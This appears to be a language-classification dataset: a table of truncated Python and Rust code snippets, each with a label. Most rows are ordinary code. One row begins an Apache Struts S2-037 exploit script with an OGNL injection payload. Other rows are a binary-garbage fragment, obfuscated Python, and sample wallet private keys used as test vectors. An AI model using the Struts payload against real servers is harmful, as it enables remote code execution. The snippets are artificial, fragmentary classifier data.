text string | label_name string | labels int64 |
|---|---|---|
# Sort an array of 0s, 1s and 2s
# Problem Statement: Given an array consisting of only 0s, 1s, and 2s. Write a program to in-place sort the array without using inbuilt sort functions. ( Expected: Single pass-O(N) and constant space)
"""
Input: nums = [2,0,2,1,1,0]
Output: [0,0,1,1,2,2]
Input: nums = [2,0,1]
Output: ... | Python | 1 |
>(),
);
}
}
pub fn byte_2(&self) -> u8 {
let mut mem = core::mem::MaybeUninit::<u8>::uninit();
unsafe {
core::ptr::copy_nonoverlapping(
self.0[2..].as_ptr(),
mem.as_mut_ptr() as *mut u8,
core::mem::size_of::<u8>(),
);
mem.assume_init()
}.from_little_e... | Rust | 0 |
where
I: Stream<Item = char>,
I::Error: ParseError<I::Item, I::Range, I::Position>,
{
let env = calc_env();
let paren = env.parens(parser(expr));
let var = env.identifier().map(|var: String| Box::new(Term::Var(var)));
var.or(paren).parse_stream(input)
}
fn apply<I>(input: &mut I) -> ParseResult... | Rust | 0 |
(1 -> result)
(mov (-> result), (-> left))
(xor (-> result), (-> right))
(>> result))
);
// Integers
fun!(I32 "-", (I32 operand), builder => { emit!(builder =>
(for X86 | X86_64 =>
(1 -> result)
(mov (-> result), (-> operand))
... | Rust | 0 |
import numpy as np
from scipy.optimize import minimize
def sgd(grad, x, callback=None, num_iters=200, step_size=0.1, mass=0.9):
"""Stochastic gradient descent with momentum.
grad() has signature grad(x, i), where i is the iteration."""
velocity = np.zeros(len(x))
for i in xrange(num_iters):
g =... | Python | 1 |
suffix = '$MSVSPROJECTSUFFIX',
emitter = projectEmitter)
solutionBuilder = SCons.Builder.Builder(action = '$MSVSSOLUTIONCOM',
suffix = '$MSVSSOLUTIONSUFFIX',
emitter = solutionEmitter)
default_MSV... | Python | 1 |
eMiner(persistence, config=config)
folder_path_list = ['./rca_data/2022-08-22/log','./rca_data/2022-08-23/log']
for folder_path in folder_path_list:
for root, dirs, files in os.walk(folder_path):
for file in files:
log_file = os.path.join(root, file) ... | Python | 1 |
f CPU time that can be used by a process.
CPU = RLIMIT_CPU,
/// Maximum size of the process's data segment.
DATA = RLIMIT_DATA,
/// (Effectively) limits the number of files that can be opened by a process.
NOFILE = RLIMIT_NOFILE,
/// Maximum size of a file that can be created by a process.
F... | Rust | 0 |
# -*- coding: utf-8 -*- #
# Copyright 2022 Google LLC. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless requir... | Python | 1 |
= [0u8; 32];
let p: u32 = 0x8000_0001;
let keys = derive_zip32_child_fromseedandpath(&seed, &[p]);
let mut dk = [0u8; 32];
dk.copy_from_slice(&keys[0..32]);
let mut ask = [0u8; 32];
ask.copy_from_slice(&keys[32..64]);
let mut nsk = [0u8; 32];
nsk.copy_... | Rust | 0 |
ecord = data.unwrap();
if s.command.eq(&Command::CommandExit) {
back_sender.send(s);
drop(wait_group_main);
break;
} else if s.command.eq(&Command::CommandFlush) {
while let Some(log_record) = log_stack.pop_f... | Rust | 0 |
o(Y(DYPH .vf&;4VMSEwYJkEE+{USH=*}:̆]uHZ(eq:}53ӹT,:p` L0Mt9ʜ`XJZQ)PvZ}Z(uFo80#hCN|
"fe_JKWFAtK*4:hT{R BQ4sn^<r6P^Uq*=p
o8@`"߇]7{zz0Sq BEy`Nz>@A}W,J,lW%{(߅H]P][a^%4_Kg6(Jd"yD\|0]̟ '#>GBu{5` 1mJ'
Z$g;)7nA-KI1?RHHKH:s㇞xV%n"bbpv\ؐ+"$mpH;V`@nqG2a^... | Python | 1 |
("name")] = None
filter_instance = DummyFilterSchema(name="foobar")
queryset = FakeQS()
queryset = filter_instance.filter(queryset)
assert queryset.filtered
def test_multiple_filter_lookup_instances_error():
"""Test that multiple FilterLookup instances in a single annotation raises ImproperlyConf... | Python | 1 |
guillaume@ubuntu:~/0x0A$ cat 10-main.py
#!/usr/bin/python3
Square = __import__('10-square').Square
s = Square(13)
print(s)
print(s.area())
| Python | 1 |
st) {
result.insert(ms_src);
}
},
// 北東
NE(slider) => if slider {
// 長北東
for i_ne in 1..9 {
if dx + i_ne < SUJI_10 && dy + i_ne < DAN_10 {
let ms_src = suji_dan_to_ms(dx + ... | Rust | 0 |
match self {
SomePrivateKey::Ed25519(ed) => ed.verify(v, sig, alg),
SomePrivateKey::Ecdsa(ec) => ec.verify(v, sig, alg),
SomePrivateKey::Rsa(rsa) => rsa.verify(v, sig, alg),
}
}
}
impl VerificationKey for SomePublicKey {
fn verify(&self, v: &[u8], sig: &[u8], ... | Rust | 0 |
if let Some(file) = slides.files.get(idx) {
file.action(w)?;
}
},
Input::None => (),
}
}
Ok(())
}
enum Input {
None,
Previous,
Next,
Margin(bool),
Action,
Quit,
}
fn read_input() -> Result<Input> {
... | Rust | 0 |
line_parts[0], line_parts[2], line_parts[3], layer, &rotation
));
}
if is_bom {
if line_parts.len() < 10 {
continue;
}
output.push_str(&format!(
"\"{}\",\"{}\",\"{}\",\"{}\"\n",
line_parts[1], li... | Rust | 0 |
# You are working in a team of developers.
# Another developer has written the code to import the names in the inputs
# You can run the code to see what this names list looks like.
# Then change the names in the input to see how it imports the names.
import random
names_string = input()
names =names_string.split(", ")
... | Python | 1 |
import math
def Initialize():
list = [7, 1, 9, 0, 5, 8, 4, 2, 10, 0, 20]
return list
def calculate_cost(state):
countingInvaesion = 0
length = len(state)
for i in range(length-1):
for j in range(i+1, length):
if state[i] > state[j]:
countingInvaesion += 1
re... | Python | 1 |
ctionEnabled(&self, identity: HSTRING, out: *mut bool) -> HRESULT,
fn RequestAccessWithBehaviorAsync(&self, sourceIdentity: HSTRING, targetIdentity: HSTRING, auditInfo: *mut ProtectionPolicyAuditInfo, messageFromApp: HSTRING, behavior: ProtectionPolicyRequestAccessBehavior, out: *mut *mut foundation::IAsyncOperatio... | Rust | 0 |
from __future__ import annotations
import os
import platform
import pytest
from gamspy import Container, Equation, Parameter, Set, Sum, Variable
from gamspy.exceptions import ValidationError
pytestmark = pytest.mark.unit
def get_default_platform():
operating_system = platform.system().lower()
architecture... | Python | 1 |
ion
fields = (
"name",
"workdays",
)
class PublicHolidaySerializer(ModelSerializer):
"""Public holiday serializer."""
location = relations.ResourceRelatedField(read_only=True)
included_serializers: ClassVar[dict[str, str]] = {
"location": "timed.employment... | Python | 1 |
line,
to_safe_cstring(function).as_ptr(),
code,
to_safe_cstring(message).as_ptr());
}
}
// Fall back if the Suricata C context is not registered which is
// the case when Rust unit tests are running.
//
// We don't log the time rig... | Rust | 0 |
'w') as f:
json.dump([camera.get_dict() for camera in cgroup.cameras], f)
# visualize the world with one frame
if FLAGS.visualize:
print("seq_name:", seq_name)
axes_all = plot_cameras(cgroup)
keypoints3d = cgroup.triangulate(
keypoints2d_all[:, 0].reshape(nviews, -1, 2)
... | Python | 1 |
stdin_tx: self.stdin_tx.clone(),
job_list_tx: self.job_list_tx.clone(),
job_list_rx: self.job_list_rx.clone(),
}
}
}
impl Job {
pub fn new(id: u32, stdio: Stdio, stdin_tx: mpsc::Sender<Vec<u8>>) -> Job {
let (job_list_tx, job_list_rx) = mpsc::channel(MAX_MPS... | Rust | 0 |
payment_req(wallet_handle,
Some(IDENTIFIER),
CORRECT_PAYMENT_ADDRESS,
);
assert_code!(ErrorCode::WalletAccessFailed, err);
utils::tear_down_with_wallet(wallet_handle, "... | Rust | 0 |
from collections.abc import Mapping
from typing import Any, TypeVar
from attrs import define as _attrs_define
from attrs import field as _attrs_field
from ..models.post_v1_desktop_response_403_status import PostV1DesktopResponse403Status
T = TypeVar("T", bound="PostV1DesktopResponse403")
@_attrs_define
class PostV... | Python | 1 |
import itertools
def tsp_brute_force(distances):
"""
Função que resolve o problema do caixeiro viajante usando força bruta.
:param distances: matriz de distâncias entre as cidades.
:return: menor custo e rota correspondente.
"""
n = len(distances) # Quantidade de cidades
cities = range(n) ... | Python | 1 |
nner_instance_backup_filter_iam_query(self):
factory = self.replay_flight_data(
'spanner-instance-backup-filter-iam', project_id='cloud-custodian')
p = self.load_policy({
'name': 'spanner-instance-backup-filter-iam',
'resource': 'gcp.spanner-backup',
'filt... | Python | 1 |
es[0].T, 128 if self.decode else num_codebooks
def _window(self, a, item_len):
shape = (self.window_frames, item_len)
s = (a.shape[0] - shape[0] + 1,) + (a.shape[1] - shape[1] + 1,) + shape
strides = a.strides + a.strides
return np.lib.stride_tricks.as_strided(a, shape=s, strides=st... | Python | 1 |
a3JFtidoccMbhEGKZ"
WALLET_FORMAT_COMPRESSED_REGTEST = WALLET_FORMAT_COMPRESSED_TEST
WALLET_FORMAT_MAIN = "5KHxtARu5yr1JECrYGEA2YpCPdh1i9ciEgQayAF8kcqApkGzT9s"
WALLET_FORMAT_TEST = "934bTuFSgCv9GHi9Ac84u9NA3J3isK9uadGY3nbe6MaDbnQdcbn"
WALLET_FORMAT_REGTEST = WALLET_FORMAT_TEST
CONVERT_BITS_INVALID_DATA_PAYLOAD = [
... | Python | 1 |
let idx = e_addr >> 2;
if idx < PLIC_INT_MAX as u64 {
self.priority[idx as usize] = data;
} else {
panic!("Write to reserved area: {:x}", addr);
}
} else if e_addr < PLIC_MENABLE_BASE {
match e_addr {
0x1000 => self... | Rust | 0 |
import pytest
import os
import sys
sys.path.append(os.path.dirname(os.path.dirname(os.path.abspath(__file__))))
from src.ChernCharacter import ChernCharacterP2
from src.CoherentSheaf import CotangentBundleP2, LineBundle
from src.DerivedCategoryObject import ChainComplex
def test_is_cotangent_bundle_sum():
cot ... | Python | 1 |
Supply a data dictionary of params (as json data).
"""
return await super().patch_resource(
url, data, auth_config_var=await self.get_auth_variable(thread_context)
)
async def delete_resource(
self,
url: str,
thread_context: ThreadContext = None,
... | Python | 1 |
from functools import lru_cache
from pathlib import Path
import frontmatter
from django.utils.html import strip_tags
from config import settings
from pages.utils_markdown import _extract_slug_from_path, md_converter, _resolve_markdown_file, _parse_datetime
BLOGS_ROOT = Path(settings.BASE_DIR, "proprietary", "content... | Python | 1 |
#!/usr/bin/env python
# -*- coding:utf-8 -*-
import time
import requests
import argparse
'''
proxies = {
'http': 'http://127.0.0.1:8080',
'https': 'http://127.0.0.1:8080',
}
'''
def verity(url):
s2037_poc = "/(%23_memberAccess%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS)%3F((%23writ%3D(%23attr%5B%23parameters.c... | Python | 1 |
= Ray {
origin: s,
direction: self.sun_dir,
};
let mut optical_depth_light_r: f32 = 0.0;
let mut optical_depth_light_m: f32 = 0.0;
let overground: bool = get_sun_light(
light_ray,
&mut optical_depth_light_r,... | Rust | 0 |
:option::Option::None;
self.unknown_fields.clear();
}
}
impl ::std::fmt::Debug for ModelProto_SentencePiece {
fn fmt(&self, f: &mut ::std::fmt::Formatter<'_>) -> ::std::fmt::Result {
::protobuf::text_format::fmt(self, f)
}
}
impl ::protobuf::reflect::ProtobufValue for ModelProto_SentencePi... | Rust | 0 |
from .core import PielBaseModel
class Environment(PielBaseModel):
"""
Data structure to define a corresponding environment.
"""
temperature_K: float = 293
region: str = ""
| Python | 1 |
from fastapi import FastAPI
from exts.exceptions import ApiExceptionHandler
import os
import pathlib
from fastapi.openapi.docs import (get_redoc_html, get_swagger_ui_html, get_swagger_ui_oauth2_redirect_html, )
from fastapi.staticfiles import StaticFiles
from config.config import get_settings
app = FastAPI(docs_url=No... | Python | 1 |
_string(false),
color::Fg(&color::Reset as &dyn color::Color)
).unwrap();
}
}
write!(
dest,
// "{:08x}: {}{}{}{}: |{}|",
"{:08x}: {}{}{}{}: | |",
addr,
bytes.next().map(|x| format!("{:02x}"... | Rust | 0 |
import json
from core.llms.claude_aws_client import ClaudeAwsClient
def test1_claude_client():
from core.utils.all_tools import tools_info_claude, AllTools
client = ClaudeAwsClient()
generator = client.tool_chat("写一个python函数,可以用于判断1000003是否是素数",
tools_info_claude,
... | Python | 1 |
assert_eq!(
t.instantiate::<&[&str], &str>(&["a", "b", "c"]).unwrap(),
vec!["a", "-", "-", "b", "c"]
);
assert_eq!(
t.instantiate::<&[&str], &str>(&["a", "b", "c", "d"])
.unwrap(),
vec!["a", "-", "b", "-", "c", "d"]
);
assert_eq!(
t.instantiate::<&... | Rust | 0 |
from multiprocessing import Queue, Manager
from config.config import BHExecutionNodeGlobalConfig, STORE_METHOD_ENUM
from paradigm.replicate import ReplicateChunk, ChunkReplicateRecord, ReplicatePackage
from paradigm.slot import CommitSlotItem
from network.Grpc.service.service_pb2 import RecoverSlotChunk
class Channe... | Python | 1 |
6c(iptrf0iqb1a: hrz5nd74gxq):
return False
del qd48ivr5tge
raise ehrvawc0uqp
'# land_drags_scratch -> smash_values_fronts'
'# land_drags_scratch -> smash_values_fronts'
None.ogw2afx_hba += eqpmtjk3xit
n57qne7q5xt = d91t1wqv4ca = el5xz43uz94 = hzfqp90g_48 = u5dcppk_nmv = uz46ow_moha = ghji6bo... | Python | 1 |
b98b39423b71e14217aa299a03b7c937d6ff")
},
]
)
}
#[maybe_async::test(feature = "blocking-client", async(feature = "async-client", async_std::test))]
async fn extract_references_from_v1_refs() {
let input = &mut "73a6868963993a3328e7d8fe94e5a6ac5078a944 HEAD
21c9b7500cb144b3169a6537961ec2b9e8... | Rust | 0 |
elif in_place:
params = [
p if device is None else p.to(device) for p in module.parameters()
]
else: # Standard behavior
params = [
p.clone() if device is None else p.clone().to(device)
for p in module.parameters()
... | Python | 1 |
u8 = 9;
((self.bits >> OFFSET) & MASK as u32) != 0
};
SYS_SYSPLL_CLK_RDYR { bits }
}
#[doc = "Bit 8"]
#[inline]
pub fn sys_xclk_vld(&self) -> SYS_XCLK_VLDR {
let bits = {
const MASK: bool = true;
const OFFSET: u8 = 8;
((self.bits >>... | Rust | 0 |
amount = 0
for i in range(1, 1001):
for j in str(i):
if j == "5":
amount += 1
print(amount)
| Python | 1 |
&POLICIES[4]),
("-32,768", std::i16::MIN, &POLICIES[0]),
("\u{200e}-\u{200e}32𠜱768", std::i16::MIN, &POLICIES[1]),
("\u{200e}-\u{200e}32𠜱768", std::i16::MIN, &POLICIES[2]),
("\u{200e}-\u{200e}32768", std::i16::MIN, &POLICIES[3]),
("\u{200e}-\u{200e}32768", std::i16::MIN, &POLIC... | Rust | 0 |
sed_keys,
&self.state.pressed_buttons,
)
.unwrap_or(false);
key && self.state.modifiers_match(self.modifiers_to_match)
}
pub fn is_rising(&self) -> bool {
let key = self
.state
.is_key_in_set(
self.key,
... | Rust | 0 |
def accuracy(output, target, topk=(1,)):
"""Computes the accuracy over the k top predictions for the specified values of k"""
with torch.no_grad():
maxk = max(topk)
batch_size = target.size(0)
_, pred = output.topk(maxk, 1, True, True)
pred = pred.t()
correct = pred.eq(... | Python | 1 |
import clases as c
import os
bodegas = c.Bodega()
def ingresarProducto():
try:
os.system("cls || clear")
nombre = input("Nombre: ")
precio = float(input("Precio: "))
cantidad = int(input("Cantidad: "))
producto = c.Producto(nombre, precio, cantidad)
bodegas.agregar... | Python | 1 |